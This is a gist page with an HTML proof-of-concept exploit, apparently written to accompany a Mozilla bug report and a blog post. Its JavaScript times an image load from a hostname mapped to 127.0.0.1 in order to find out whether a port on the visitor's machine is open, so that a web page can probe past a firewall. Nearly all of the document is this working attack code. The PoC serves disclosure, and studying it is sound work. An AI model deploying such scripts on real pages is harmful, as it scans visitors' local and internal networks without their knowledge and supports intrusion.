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Shamar/bypass-firewall-and-probe-ports.html

Created September 3, 2018 14:19
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PoC exploit: bypass a corporate firewall through JavaScript and a DNS
Raw
bypass-firewall-and-probe-ports.html
<html>
<!-- This is a very simple Proof of Concepts of just one of the possible attacks
described at https://bugzilla.mozilla.org/show_bug.cgi?id=1487081
You can give it a try by following the instruction at
https://dev.to/shamar/the-meltdown-of-the-web-4p1m
Just please, remember to restore your /etc/hosts after.
-->
<head>
<script type="text/javascript">
var t0 = new Date();
var done = function(){
var t1 = new Date();
var delta = t1 - t0;
var isrc = document.getElementById('img').src;
var port = isrc.substr(isrc.indexOf('net:') + 4, isrc.indexOf('/test') - isrc.indexOf('net:') - 4);
var result = "Your port " + port + " is ";
if(delta < 400)
result += "open. Thanks for sharing! ;-)";
else
result += "closed. You are lucky! Can I try again?";
alert(result);
}
</script>
</head>
<body onload="done()">
<!-- local.jsfiddle.net is mapped to 127.0.0.1 -->
<img id='img' src='https://local.jsfiddle.net:1234/test.gif'>
</body>
</html>
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